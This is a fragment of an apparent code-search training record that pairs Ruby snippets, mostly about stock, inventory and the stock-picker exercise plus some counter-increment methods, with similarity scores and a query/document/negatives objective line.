stockDifferences\n end\n mostProfitableStock = getMostProfitableStock(weeklyDifferences)\n if i == 0 # For week 1\n puts \"#{@days[i]} BUY #{mostProfitableStock}\"\n currentStock = mostProfitableStock\n elsif mostProfitableStock == currentStock # If the stock already bought is more profitable\n puts \"#{@days[i]} HOLD #{mostProfitableStock}\"\n else\n puts \"#{@days[i]} SELL #{currentStock}, BUY #{mostProfitableStock}\"\n currentStock = mostProfitableStock \n end\n i = i + 1\n end\n end", "def update_quantities!\n @products = products.reduce([]) do |products, product|\n # If product is not published\n if !product.variant.published\n set_error(:item_not_for_sale, item: product.variant.name)\n # If product is not in stock\n elsif !product.variant.in_stock?\n set_error(:item_out_of_stock, item: product.variant.name)\n # If product's available stock is less than required quantity\n elsif !product.variant.available_for(product.quantity)\n set_error(\n :not_enough_stock_for_item,\n item: product.variant.name, stock: product.variant.in_stock\n )\n product.quantity = product.variant.in_stock\n products << product if product.quantity > 0\n # Else, keep product as is in cart\n else product.variant.unlimited_stock || product.variant.in_stock >= product.quantity\n products << product\n end\n\n products\n end\n\n # TODO: Doesn't work, think in something else ...\n if discount_code == false\n set_error(:invalid_discount_code)\n end\n\n reset! if @products.length == 0\n end", "def closing_ason_stock_quantity(start_date, end_date, branch_id)\n quantity=0\n purchase_line_items = PurchaseLineItem.by_company(company_id).non_draft.by_product(id).by_record_date(start_date, end_date).by_branch(branch_id).order(\"purchases.record_date DESC\")\n purchased_quantity = purchase_line_items.sum(:quantity)\n\n stock_receipt_line_items = StockReceiptLineItem.by_company(company_id).by_product(id).by_voucher_date(start_date, end_date).by_branch(branch_id)\n receipt_quantity = stock_receipt_line_items.sum(:quantity)\n\n invoice_line_items = InvoiceLineItem.by_company(company_id).by_product(id).by_invoice_date(start_date, end_date).by_branch(branch_id)\n invoiced_quantity = invoice_line_items.sum(:quantity)\n\n stock_wastage_line_items = StockWastageLineItem.by_company(company_id).by_product(id).by_voucher_date(start_date, end_date).by_branch(branch_id)\n wastage_quantity = stock_wastage_line_items.sum(:quantity)\n\n stock_issue_line_items = StockIssueLineItem.by_company(company_id).by_product(id).by_voucher_date(start_date, end_date).by_branch(branch_id)\n issued_quantity = stock_issue_line_items.sum(:quantity)\n\n purchase_return_line_items=PurchaseReturnLineItem.by_company(company_id).by_product(id).by_voucher_date(start_date, end_date).by_branch(branch_id)\n invoice_return_line_items=InvoiceReturnLineItem.by_company(company_id).by_product(id).by_voucher_date(start_date, end_date).by_branch(branch_id)\n purchase_return_quantity=purchase_return_line_items.sum(:quantity)\n invoice_return_quantity=invoice_return_line_items.sum(:quantity)\n quantity = (receipt_quantity + purchased_quantity + invoice_return_quantity) - (invoiced_quantity + wastage_quantity + issued_quantity + purchase_return_quantity)\n end", "def current_stock_larger_than_available_stock\n if available_stock < 0\n errors.add(:current_stock, \"is less than available stock\")\n end\n end", "def feasible?\n return true if amount < 0 || source.nil? || !product.tracked_stock? || source.enable_gateway?\n inventory_item = source_item\n inventory_item.present? && inventory_item.available >= amount\n end", "def stock_picker(stock_prices)\n buying_price = 0\n buying_index = 0\n selling_price = 0\n max_profit = -1\n max_buy_index = 0\n max_sell_index = 0\n\n change_buy = true\n\n stock_prices.each_with_index do |price, day|\n selling_price = stock_prices[day + 1].to_i\n\n if change_buy\n buying_price = price.to_i\n buying_index = day\n end\n\n if buying_price > selling_price\n change_buy = true;\n else\n profit = selling_price - buying_price\n if profit > max_profit\n max_profit = profit\n max_sell_index = day + 1\n max_buy_index = buying_index\n end\n change_buy = false;\n end\n\n end\n\n [max_buy_index, max_sell_index]\n\nend", "def stock_picker(array)\n\ndiff = array[0] - array[1]\nlowest, highest = array[0], array[1]\n\n\tarray.each do |first_price|\n\t\tindex_num = array.index(first_price)\n\t\tarray.each_with_index do |next_price, second_index|\n\t\t\tif second_index > index_num\n\t\t\t\tif (first_price - next_price) < diff\n\t\t\t\t\tdiff = first_price - next_price\n\t\t\t\t\tlowest, highest = first_price, next_price\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\tputs \"Buy on \" + array.index(lowest).to_s + \", sell on \" + array.index(highest).to_s\n\tputs \"You'll buy at the price of #{lowest} and sell at #{highest}.\"\nend", "def run!\n # Validations here are intended to catch all necessary prerequisites.\n # We return early so all checks have happened already.\n return false if invalid?\n desired_shipment.save! if desired_shipment.new_record?\n\n # Retrieve how many on hand items we can take from desired stock location\n available_quantity = [desired_shipment.stock_location.count_on_hand(variant), 0].max\n\n new_on_hand_quantity = [available_quantity, quantity].min\n unstock_quantity = desired_shipment.stock_location.backorderable?(variant) ? quantity : new_on_hand_quantity\n\n ActiveRecord::Base.transaction do\n if handle_stock_counts?\n # We only run this query if we need it.\n current_on_hand_quantity = [current_shipment.inventory_units.pre_shipment.size, quantity].min\n\n # Restock things we will not fulfil from the current shipment anymore\n current_stock_location.restock(variant, current_on_hand_quantity, current_shipment)\n # Unstock what we will fulfil with the new shipment\n desired_stock_location.unstock(variant, unstock_quantity, desired_shipment)\n end\n\n # These two statements are the heart of this class. We change the number\n # of inventory units requested from one shipment to the other.\n # We order by state, because `'backordered' < 'on_hand'`.\n current_shipment.\n inventory_units.\n where(variant: variant).\n order(state: :asc).\n limit(new_on_hand_quantity).\n update_all(shipment_id: desired_shipment.id, state: :on_hand)\n\n current_shipment.\n inventory_units.\n where(variant: variant).\n order(state: :asc).\n limit(quantity - new_on_hand_quantity).\n update_all(shipment_id: desired_shipment.id, state: :backordered)\n end\n\n # We modified the inventory units at the database level for speed reasons.\n # The downside of that is that we need to reload the associations.\n current_shipment.inventory_units.reload\n desired_shipment.inventory_units.reload\n\n # If the current shipment now has no inventory units left, we won't need it any longer.\n if current_shipment.inventory_units.length.zero?\n current_shipment.destroy!\n else\n # The current shipment has changed, so we need to make sure that shipping rates\n # have the correct amount.\n current_shipment.refresh_rates\n end\n\n # The desired shipment has also change, so we need to make sure shipping rates\n # are up-to-date, too.\n desired_shipment.refresh_rates\n\n true\n end", "def purchase_stock!\n nil\n end", "def stock_picker(prices)\n #results array indicates the best time to buy and then sell the stock\n results = [0, 0]\n #this variable keeps tabs of the best positive price difference\n greatest_price_difference = 0\n prices.each_with_index do |price, current_index|\n #index_counter keeps track of the index in the array as it's being\n #looped in the while loop\n \n index_counter = current_index + 1\n #the while loop loops through the array starting with the first \n #potential day to buy and compares the potential difference\n #each day going forward to determine which day would be best to sell on\n #should they buy the stock today\n while index_counter < prices.length\n \n price_difference = prices[index_counter] - prices[current_index]\n if price_difference > greatest_price_difference\n #price difference is updated if a greater difference is found\n greatest_price_difference = price_difference\n results[0] = current_index \n results[1] = index_counter \n end\n index_counter += 1\n end\n end\n\n\n\n puts results\nend", "def load_item_from_stock(order_item, stock_items)\n amount = order_item.waiting\n stock_items.each do |item|\n all = item.available\n next if all <= 0\n\n if amount <= all\n # This inventory item satisfies the amount, we're done.\n item.reserved += amount\n return create_item_from(order_item, item.code, item.expires_at, amount)\n else\n # Load all of this item and continue with the remaining amount.\n item.reserved += all\n create_item_from(order_item, item.code, item.expires_at, all)\n amount -= all\n end\n end\n end", "def discount_stock\n if @supplies.nil?\n else\n @supplies.each do |sub_array|\n sub_array.each do |item|\n id_supply = item[0]\n quantity = item[1]\n\n # For history of supplies used in an order\n HasUsedSupply.create(order_id: @order_id, supply_id: id_supply,\n quantity: quantity)\n\n # Update supply with the new stock\n @supply = Supply.find(id_supply)\n new_stock = @supply.stock - Integer(quantity)\n @supply.update(:stock => new_stock)\n end\n end\n end\n end", "def update_backstage (item)\n if item.sell_in < 11 && item.sell_in > 5\n update_quality_value(item, 2)\n elsif item.sell_in < 6 && item.sell_in > 0\n update_quality_value(item, 3)\n elsif item.sell_in > 0\n update_quality_value(item, 1)\n end\n end", "def update_stock\n\t\tincrease_stock unless new_record?\n\t\tyield\n\t\tdecrease_stock\n\tend", "def can_be_unconfirmed?\n reverse_adjustment_quantity = -1*diff \n \n wh_item = self.warehouse_item\n item = self.item \n \n final_item_ready = item.ready + reverse_adjustment_quantity\n final_wh_item_ready = wh_item.ready + reverse_adjustment_quantity\n \n if final_item_ready < 0 or final_wh_item_ready < 0 \n msg = \"Akan menyebabkan jumlah item ready menjadi : #{final_item_ready}.\"\n self.errors.add(:generic_errors, msg )\n return false\n end\n \n return true \n end", "def is_available\n\t\tself.stock_qty > 0\n\tend", "def buy(item)\n raise_no_money! if item.price > pending_amount\n change = calc_change(pending_amount - item.price)\n transfer_pending_to_money\n remove_from_money change\n change\n end", "def update_stock_on_create\n # Update current Stock\n if !update_stock(product, store, quantity, true)\n return false\n end\n true\n end", "def remove_item_from_stock(product_id)\n\t\tproduct = Product.find(product_id)\n\t\tif product.stock - 1 < 0\n\t\t\trender :json => \"No hay suficientes productos\"\n\t\telse\n\t\t\tproduct.stock -= 1\n\t\t\tproduct.save\n\t\tend\n\n\tend", "def return\n \t@stock += 1\n end", "def test_check_inventory\n # Create a cart and add some products.\n a_cart = Order.new\n a_cart.add_product(items(:red_lightsaber), 2)\n a_cart.add_product(items(:blue_lightsaber), 4)\n assert_equal a_cart.items.length, 2\n \n an_out_of_stock_product = items(:red_lightsaber)\n assert an_out_of_stock_product.update_attributes(:quantity => 1)\n \n # Assert that the product that was out of stock was removed.\n removed_products = a_cart.check_inventory\n assert_equal removed_products, [an_out_of_stock_product.name]\n\n # Should last the right quantity of the rest.\n assert_equal a_cart.items.length, 1\n end", "def check_stock(_product, _store, _quantity)\n _check_stock = true\n if _product.product_type.id != 2\n _stock = Stock.find_by_product_and_store(_product, _store)\n if !_stock.nil?\n if (_stock.current - _quantity) < 0\n errors.add(:description, I18n.t(\"activerecord.models.delivery_note_item.quantity_greater_than_stock_item\", stock: _stock.current))\n _check_stock = false\n end\n else\n errors.add(:description, I18n.t(\"activerecord.models.delivery_note_item.no_stock_store\"))\n _check_stock = false\n end\n end\n _check_stock\n end", "def sell(stock_id, number_of_stocks)\n error = \"\"\n\n stock = Stock.find(stock_id)\n portfolio = Portfolio.find(stock_id)\n\n validate_count = validate_stock_count(number_of_stocks)\n if(validate_count!=true)\n error = validate_count\n errors.add(:base, validate_count)\n return error\n end\n\n if stock.nil? && portfolio.find(stock_id) == stock_id\n error = \"Stocks doesn't exist\"\n errors.add(:base, error)\n return error\n end\n\n if portfolio.stock_count <= number_of_stocks\n error = \"Less stocks\"\n errors.add(:base, error)\n return error\n end\n \n User.transaction do\n User.balance += stock.current_price*number_of_stocks\n User.save!\n #Portfolio.transaction do\n #if @portfolios.find(stock_id) == stock_id && @portfolios.stock_count >= number_of_stocks\n #User.save!\n #updated_stock_count = @portfolios.stock_count -= number_of_stocks\n portfolio.update(stock_count: portfolio.stock_count -= number_of_stocks)\n Portfolio.save!\n return true\n end\n #raise ActiveRecord::Rollback\n #Portfolio.save!\n #end\n end", "def update_quality(items)\n items.each do |item|\n if is_special_item?(item)\n special_item(item)\n else\n item.sell_in > 0 ? decrement_normal_item(item, 1) : decrement_normal_item(item, 2)\n end\n\n item.sell_in -= 1\n end\nend", "def increase!(amount = 1)\n transaction do\n self.quantity += amount\n unless in_stock?\n # fail Shoppe::Errors::NotEnoughStock, ordered_item: ordered_item, requested_stock: self.quantity\n end\n save!\n # order.remove_delivery_service_if_invalid\n end\n end", "def stocked?\n inventory_item.present?\n end", "def stock\n\n inventory = case presentation_unit_type_measurement.name\n when PresentationUnitTypeMeasurement::SUPERFICIAL\n inventory_for_superficie_presentation_unit_type_measurement\n when PresentationUnitTypeMeasurement::LOGITUDINAL\n inventory_for_longitudinal_presentation_unit_type_measurement\n else\n #TODO LOGGER\n 0\n end\n\n \n\n invoiced = case presentation_unit_type_measurement.name\n when PresentationUnitTypeMeasurement::SUPERFICIAL\n invoiced_for_superficie_presentation_unit_type_measurement\n when PresentationUnitTypeMeasurement::LOGITUDINAL\n invoiced_for_longitudinal_presentation_unit_type_measurement\n else\n #TODO LOGGER\n 0\n end\n\n inventory - invoiced\n end", "def return_stock!(from_status, new_status)\n update_from_to_status!(from_status, new_status, noop: true) do\n order_items.each(&:return_items!)\n end\n end", "def sell(amount)\n @quantity_in_stock -= amount\n @quantity_sold += amount\n end", "def stock_picker(array)\n\n#store 2 numbered arrays that consist of every combination of numbers in the passed array\n manipulate_array = array.combination(2).to_a\n\n# change each array's 2 index to contain the difference of the two numbers\n manipulate_array.each do |i|\n i.push(i.max - i.min) \n end\n \n# sort the array by thier difference from largest to smalles \n sorted_array = manipulate_array.sort {|a,b| b[2] <=> a[2]}\n \n sorted_array.each do |i|\n# delete the sum from each combonation \n i.delete_at(2)\n# return the position of the smallest price that comes before the postion of the highest price (returning day to buy low then return the day to buy high)\n if array.index(i.min) < array.index(i.max)\n return [array.index(i.min),array.index(i.max)]\n break\n elsif i == sorted_array.last\n return \"There are no buy opportunities in this set of stock prices\"\n end\n end\nend", "def inc_stock\n\t\t@stock += 1\n\tend", "def stock_picker(stocks)\n buy_day, sell_day, max_profit = 0, 0, 0\n for i in (0...stocks.length - 1)\n buy, possible_sales = stocks[i], stocks[i+1..-1]\n best_sale = possible_sales.max # Find the best price we can still sell for\n current_profit = best_sale - buy\n if current_profit > max_profit\n max_profit = current_profit # New standard we'll have to beat\n buy_day = i + 1 # If i is 0, we should buy on day 1\n sell_day = sales.index(best_sale) + buy_day + 1 # Add 1 in both cases to correct for indexing\n end\n end\n print [buy_day,sell_day]\nend", "def stock_picker (stocks)\n result = []\n diff = 0\n\n stocks[0..-2].each do |stock|\n stocks[stocks.index(stock)..-1].each do |s|\n if (stock - s < diff)\n diff = stock - s\n result[0] = stocks.index(stock)\n result[1] = stocks.index(s)\n end\n end\n end\n return result\nend", "def buy3(num, item)\n return 0 if num < 3\n diff = item.price - item.sale_price\n amount = diff * num\n\n if amount > 0\n @subtract += amount\n @promos[item.code] = diff\n @promo_counts[\"BUY3\"] = num\n end\n end", "def update_unit_price\n return if @packs.empty?\n lowest = @packs.min_by{|pack| pack.quantity}\n @unit_price = (lowest.price / lowest.quantity).to_f.round(2)\n end", "def update\n \n @quantity_diference = params[:ordered_item][:quantity_new].to_i - params[:old_quantity].to_i\n \n @item = Item.find(@ordered_item.item_id)\n if @item.quantity - @quantity_diference > 0\n @ordered_items = OrderedItem.all\n \n if @ordered_item.update(quantity: @ordered_item.quantity + @quantity_diference) && @item.update(quantity: @item.quantity - @quantity_diference)\n flash[:notice] = \"Item quantity has been updated.\"\n redirect_to items_path\n else\n flash[:alert] = \"Something went wrong! Item quantity has not been changed.\"\n redirect_to ordered_items_path\n end\n \n else\n flash[:alert] = \"Item is not available\"\n redirect_to items_path\n end\n end", "def update_stock_market_places(product_stocks)\n messages = []\n lazada_stock_hash = {}\n zalora_stock_hash = {}\n product_stocks.each do |key, value|\n variant = Spree::Variant.find(key)\n begin\n value.each do |sp_key, stock_count|\n stock_product = Spree::StockProduct.find(sp_key)\n smpp = stock_product.sellers_market_places_product\n market_place = smpp.market_place\n user_market_place = Spree::SellerMarketPlace.where(\"seller_id=? AND market_place_id=?\", smpp.seller_id, market_place.id)\n case market_place.code\n when \"qoo10\"\n res = Spree::StockMovement.stock_update_qoo10(variant.product, market_place.id, stock_count, stock_product, user_market_place.first, smpp, stock_count)\n when \"lazada\"\n if lazada_stock_hash[user_market_place.first.id.to_s].present?\n lazada_stock_hash[user_market_place.first.id.to_s].first.merge!(variant.sku.to_s=>stock_count)\n else\n lazada_stock_hash.merge!(user_market_place.first.id.to_s=>[{variant.sku.to_s=>stock_count}])\n end\n when \"zalora\"\n if zalora_stock_hash[user_market_place.first.id.to_s].present?\n zalora_stock_hash[user_market_place.first.id.to_s].first.merge!(variant.sku.to_s=>stock_count)\n else\n zalora_stock_hash.merge!(user_market_place.first.id.to_s=>[{variant.sku.to_s=>stock_count}])\n end\n end\n messages << (market_place.name+\": \"+ res) if res.present? && res != true\n end\n rescue Exception => e\n messages << e.message\n end\n end # end of stock product loop\n # Update stock for lazada in bulk\n Spree::StockMovement.stock_update_lazada_bulk(lazada_stock_hash) if lazada_stock_hash.present?\n Spree::StockMovement.stock_update_lazada_bulk(zalora_stock_hash) if zalora_stock_hash.present?\n return messages.present? ? \"fail\" : \"success\"\n end", "def opening_stock_amount_on_date(given_date, branch_id)\n quantity=0\n purchases = purchase_line_items.joins(:purchase)\n .where(:purchases =>{:status_id => [0,1,3], :branch_id => branch_id})\n .where(\"purchases.record_date < ?\", given_date)\n .sum(:amount)\n\n #we need the below call to compute average purchase price of stock issue\n purchases_qty = purchase_line_items.joins(:purchase)\n .where(:purchases =>{:status_id => [0,1,3], :branch_id => branch_id})\n .where(\"purchases.record_date < ?\", given_date)\n .sum(:quantity)\n if purchases_qty.present? && purchases_qty != 0\n average_purchase_price = (purchases/purchases_qty)\n else\n average_purchase_price = 0\n end\n\n sold= invoice_line_items.joins(:invoice)\n .where(:invoices =>{:invoice_status_id => [0,2,3,4], :branch_id => branch_id})\n .where(\"invoices.invoice_date < ?\", given_date)\n .sum(:amount)\n issued = stock_issue_line_items.joins(:stock_issue_voucher)\n .where(:stock_issue_vouchers => {:branch_id => branch_id})\n .where(\"stock_issue_vouchers.voucher_date < ?\",given_date)\n .sum(:quantity)\n issued_amount = issued * average_purchase_price\n received= stock_receipt_line_items.select(\" sum(stock_receipt_line_items.quantity * stock_receipt_line_items.unit_rate) as amount \").joins(:stock_receipt_voucher)\n .where(:stock_receipt_vouchers =>{:branch_id => branch_id})\n .where(\"stock_receipt_vouchers.voucher_date < ?\",given_date)\n received_amount = received[0].amount.blank? ? 0 : received[0].amount\n\n transaction_amount = (purchases + received_amount)-(sold + issued_amount)\n amount = get_opening_stock_amount.to_f + transaction_amount\n end", "def quick_update_stock(filename)\n ThinkingSphinx::Deltas.suspend :supply_item do\n @updates.each do |upd|\n si = @supplier.supply_items.where(:supplier_product_code => upd[0]).first\n unless si.nil?\n if si.update_attributes(:stock => upd[1]) == true\n supplier_logger.info(\"[#{DateTime.now.to_s}] Quick stock update: #{si.to_s} now #{si.stock}\")\n else\n supplier_logger.error(\"[#{DateTime.now.to_s}] Quick stock update failed: #{si.to_s}, errors: #{si.errors.full_messages}\")\n end\n end\n end\n end\n Product.update_price_and_stock # Sync available products to the now changed supply items\n end", "def update\n @order.earliest_pickup_date = calculate_earliest_pickup_date(:update)\n # Save off original quantity for order_products\n original_quantities = {}\n @order.order_products.each { |order_product| original_quantities[order_product.id] = order_product.quantity }\n respond_to do |format|\n if @order.update(order_params)\n okay = true\n @order.order_products.each do |order_product|\n new_quantity = order_product.quantity\n original_quantity = original_quantities[order_product.id]\n unless (new_quantity == original_quantity)\n product = order_product.product\n new_quantity_in_stock = (product.quantity_in_stock + original_quantity - new_quantity)\n if new_quantity_in_stock < 0 # Desired quantity no longer available\n okay = false if okay\n # Update the order the best we can and notify user of discrepancy\n new_quantity_in_stock = 0\n # The original quantity was already subtracted from the stock; quantity should never have to decrease below what was previously ordered\n new_quantity = original_quantity + product.quantity_in_stock\n order_product.update_attributes(quantity: new_quantity)\n end\n product.update_attributes(quantity_in_stock: new_quantity_in_stock)\n end\n end\n redirect_to(edit_order_path(@order), notice: t('orders.not_available')) and return if (!okay) # \"One or more of the products you selected is not available in the desired quantity. Please review the updated order.\"\n if session[:showing_user]\n format.html { redirect_to @order.user, notice: t('orders.create') } # \"Order was successfully updated.\"\n format.json { head :no_content }\n else\n format.html { redirect_to orders_path, notice: t('orders.create') } # \"Order was successfully updated.\"\n format.json { head :no_content }\n end\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def shares_available_for_purchase?\n if Stock.all.find_by(id: trade.stock_id).shares_available < trade.num_shares\n return false\n else\n return true\n end\n end", "def out_of_stock_globally\n #API body = {:product_id => 1, :status => true}\n status = params[:status] == \"true\" ? true : false\n @product = Spree::Product.find(params[:product_id])\n variants = @product.variants.present? ? @product.variants : [@product.master]\n variants.each do |variant|\n Spree::StockItem.where(:variant_id => variant.id).each do |stock_item|\n stock_item.update_attributes(:virtual_out_of_stock => status)\n end\n end\n @response = {:response => status ? \"Product #{@product.name} is Out of Stock\" : \"Product #{@product.name} is Available now\"}\n\t\t#redirect_to stock_admin_product_path(@product)\n\n end", "def stock(product)\n id = product.customer_code.presence || product.code\n begin\n response = self.class.get(\"/products/#{id}\",\n headers: headers,\n timeout: 10\n ).parsed_response\n quantity = response['stock_sales'].to_i - product.safety_stock\n return quantity < 0 ? 0 : quantity\n rescue => e\n return 0\n end\n end", "def product_in_stock?(product)\n p = Product.find_by_name(product.to_s)\n return nil unless p\n coupons = Coupon.find_all_by_product_id_and_account_id_and_used(p.id, nil, 'N', :limit => 1) \n return nil unless coupons\n return nil if coupons.length == 0 \n return coupons[0]\n end" ]
[ "0.6872867", "0.6724124", "0.6679403", "0.6678313", "0.66624165", "0.66197884", "0.6614728", "0.6564519", "0.6538605", "0.6501001", "0.6496275", "0.64815474", "0.6481244", "0.6478659", "0.6464735", "0.6462165", "0.64571387", "0.6413355", "0.6393877", "0.63546044", "0.6351807", "0.6332553", "0.6328919", "0.6328853", "0.6326591", "0.63264024", "0.6322204", "0.63125813", "0.63115805", "0.63059884", "0.6297186", "0.62862986", "0.62739086", "0.6272959", "0.6267684", "0.62648827", "0.62629104", "0.6261017", "0.6260904", "0.6238511", "0.6225413", "0.62049705", "0.62038356", "0.6185172", "0.61821467", "0.617062", "0.61637866", "0.61630815", "0.6162388", "0.6148739", "0.613046", "0.61268663", "0.6119974", "0.60911584", "0.6087781", "0.6081534", "0.60760045", "0.6072686", "0.60426366", "0.6039837", "0.6039176", "0.60332954", "0.6012798", "0.6007329", "0.6006198", "0.600496", "0.6003398", "0.60033685", "0.60029703", "0.59924823", "0.59898716", "0.5988365", "0.5983144", "0.59762734", "0.5974968", "0.5971927", "0.5959367", "0.5956688", "0.5955692", "0.5953261", "0.5952173", "0.59462", "0.59460807", "0.59419316", "0.59305626", "0.59283096", "0.59257525", "0.59165245", "0.5912079", "0.5905526", "0.5903916", "0.5903402", "0.59025335", "0.58999765", "0.5894736", "0.5894681", "0.5892368", "0.5888375", "0.5887526", "0.58869076" ]
0.6812991
1
increments will be by 1 each phrase
def using_until levitation_force = 6 until levitation_force == 10 puts "Wingardium Leviosa" levitation_force += 1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def increment \n\t\t@counter = @counter + 1\n\tend", "def inc\n $i + 1\n end", "def increment\n @counter = @counter + 1\n end", "def incr\n add(1)\n end", "def incr_count\n @count ||= 0\n @count += 1\n end", "def incr(x) x + 1 end", "def increase_index\n @i +=1\n end", "def increment_counter\n unless self.count.nil?\n self.count += 1\n else\n self.count = 1\n end\n end", "def move increment\n\t\tnew_text = Array.new\n\t\tif increment > 0\n\t\t\t@text_spacer += \" \" * increment\n\t\telse\n\t\t\t@text_spacer = @text_spacer[1..increment]\n\t\tend\n\t\t@text.split(\"\\n\").each do |line|\n if increment > 0 \n line = (\" \" * increment) + line\n\t\t\telsif increment < 0 \n\t\t\t line = line[increment.abs..line.size]\n\t\t\tend\n\t\t\tnew_text << line\n\t end\n\t\t@text = new_text.join \"\\n\"\n\tend", "def incr!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 17 )\n\n type = INCR\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 138:8: '++'\n match( \"++\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 17 )\n\n end", "def number\n before.count + 1\n end", "def update_counter(text)\n number_of_newlines = text.count(\"\\n\")\n\n if number_of_newlines > 0\n @line += text.count(\"\\n\")\n @column = text.length - text.rindex(\"\\n\")\n else\n @column += text.length\n end\n end", "def increment(m)\n matches = m.message.scan(/\\([^)]+\\)\\+\\+|\\S+\\+\\+/)\n \n matches.each do |element|\n element.downcase!\n if element =~ /\\((.+)\\)\\+\\+/\n if @@karma_db.has_key? $1\n if @@karma_db[$1] == \"-1\"\n @@karma_db.delete $1 \n else\n @@karma_db[$1] = (@@karma_db[$1].to_i + 1).to_s\n end\n else\n @@karma_db[$1] = \"1\"\n end\n elsif element =~ /(\\S+)\\+\\+/\n if @@karma_db.has_key? $1\n if @@karma_db[$1] == \"-1\"\n @@karma_db.delete $1\n else\n @@karma_db[$1] = (@@karma_db[$1].to_i + 1).to_s\n end\n else\n @@karma_db[$1] = \"1\"\n end\n end\n end\n\n end", "def increment_order!\n @current += 1\n end", "def increment!\n\t\t\t\t@vertices += 1\n\t\t\t\t@count += 1\n\t\t\tend", "def increment(first_word=nil, second_word=nil)\n # Don't do anything if we didn't get a first or second word\n return 0 unless first_word || second_word\n\n # Only one of these will run, since we error if both are nil\n first_word ||= :beginning\n second_word ||= :ending\n\n add_row(first_word)\n add_row(second_word) unless second_word == :ending\n\n row(first_word)[second_word] += 1\n end", "def increment_iteration\n @iteration += 1\n end", "def increment\n curr_value = counter\n self.counter = curr_value + 1\n save\n curr_value\n end", "def set_increments\n if @tti.length == 0\n @sgn = 0 # subtitle group number\n @sn = 0 # subtitle number\n else\n @sgn = @tti.last.sgn\n @sn = @tti.last.sn\n increment_subtitle\n end\n end", "def lexigram_counter(sequencetext)\n @sequencetext = sequencetext\n\t@lexigrams = lexigram_searcher(@sequencetext)\n\tif (@lexigrams === [\"no letters remain after processing\"])\n\t @lexigrams_count = 0\n else\n @lexigrams_count = @lexigrams.count.to_s\n end\n end", "def increment_manuscript_rev_num\n if self.version && self.article\n num = self.manuscript_number \n rev = num.scan(/\\.R\\d+/)[0]\n if rev\n num.gsub!(/\\.R\\d+/,\"\")\n rev_num = rev.gsub(/\\.R/,\"\")\n rev_num = rev_num.to_i\n num+=\".R#{rev_num+1}\"\n else\n num = \"#{num}.R1\"\n end \n self.article.update_attribute(:manuscript_num,num)\n end\n end", "def add_to_count\n @count += 1\n end", "def increment\n @value += 1\n end", "def increment_guess_count(count)\n\treturn count += 1\nend", "def increment\n self.class.increment(self)\n end", "def increment_counter(counter)\n\tcounter += 1\n\treturn counter\nend", "def increment_sequence_number\n @sequence_number += 1\n @sequence_number = 0 if @sequence_number > 0xFFFFFFFF\n end", "def inc_l\n end", "def increment_guess_count\n @current_guess_count += 1\n end", "def increment_string(input)\n # snum = input.slice(/\\d+$/).to_s\n # num = (snum.to_i + 1)\n # \"#{input.split(/\\d+$/).first}#{num.to_s.rjust(snum.length, '0')}\"\n input.sub(/\\d*$/) {|d| d.empty? ? 1 : d.succ }\nend", "def increment_guess_count(current_guess_count)\n\tcurrent_guess_count += 1\nend", "def increment_guess_count\n @current_guess_count += 1\n end", "def increment_guess_count\n @current_guess_count += 1\n end", "def inc_a\n end", "def increment_guess_count(guess)\n\tincremented = guess.to_i + 1\nend", "def document_counter(idx)\n idx + 1\n end", "def update_phrases\n if cookies[:phrase_id].present?\n @sequence = Phrase.order(\"sequence ASC\").last.sequence\n if @sequence == Phrase.count \n Phrase.reset_all\n else\n @last_phrase = Phrase.where(id: cookies[:phrase_id]).first\n @last_phrase.update(state: 'displayed', sequence: @sequence+1) \n end\n end \n end", "def number_counting_seq(n)\n count = 0\n result = ''\n while count < n\n if count == 0\n result = '1'\n else\n result = translate(result)\n end\n count += 1\n end\n result\nend", "def increment_count(current_count)\n current_count.to_i + 1\n end", "def increment_num_comments\n\n end", "def increment(name)\n update(name)\n end", "def inc(key)\n \n end", "def increment!\n @value += @increment\n \n self\n end", "def incrby(key, increment); end", "def incrby(key, increment); end", "def repeater(repetitions, text)\n display_text = \"\"\n repetitions.times { display_text += text }\n display_text\nend", "def increment_value str\n str.concat str.next.slice(-1)\nend", "def increment(counts)\n counts.keys.each do |word|\n @counts[word] += counts[word]\n end\n end", "def increment!\n self.times += 1\n self.save\n end", "def increment\n topic.increment(1)\n end", "def increment_guess_count (guess_count)\n\treturn guess_count += 1\nend", "def inc_value(iIncrement = 1)\n super\n end", "def increment_count\n session[:count] += 1\n @count = session[:count]\n end", "def increment_string(s)\n s.sub(/\\d*$/) {|n| n.empty? ? 1 : n.succ}\nend", "def encrypt(string_to_increment)\r\n\tencrypted_string = \"\"\r\n\tarray_to_increment = string_to_increment.split(\"\")\r\n\tfor x in array_to_increment\r\n\t\tif x==\"z\"\r\n\t\t\tencrypted_string += \"a\"\r\n\t\telse\r\n\t\t\tencrypted_string += x.next\r\n\t\tend\r\n\tend\r\n\treturn encrypted_string\r\nend", "def next_mark\n @mark ||= 0\n @mark += 1\n \":#{@mark}\"\nend", "def to count\n take count + 1\n end", "def string_increment(string)\n result = string.split(/[a-z]/i)\n new_str = ''\n if string[-1] =~ /[a-z]/i || string == \"\"\n new_str = string + \"1\"\n else\n digits_size = result.last.size\n if ((result.last.to_i + 1).to_s).size < digits_size # means 0 doestn't matter\n new_str = string[0, string.size-result.last.to_i.to_s.size]+(result.last.to_i + 1).to_s\n else\n new_str = string[0, string.size - digits_size] + (result.last.to_i + 1).to_s\n end\n end\n new_str\nend", "def inc_match\n @matchedCount += 1\n end", "def increment!\n self.left_half += 1\n # TODO: This breaks if the length of a palindrome changes, as odd doesn't update\n self\n end", "def increment(key)\n @counter[key] += 1\n end", "def putsi(text, n = 1)\n puts idt(n) + text\n end", "def incr(key); end", "def incr(key); end", "def number_counting_seq(n)\r\n\r\nend", "def increment_player_idx\n @current_player_idx = (@current_player_idx + 1) % 2\n end", "def increment(*)\n @build += 1\n end", "def pirates_say_arrrrrrrrr(string)\n r_indexes = []\n string.split(\"\").each_with_index{|letter, index| r_indexes << index if letter.downcase == \"r\"}\n plusoneindex = r_indexes.map{|index| index + 1}\n answer = \"\"\n plusoneindex.map{|index| string.split(\"\")[index]}.join\n\nend", "def increment\n self.visits = self.visits.to_i.next\n self.save\n end", "def 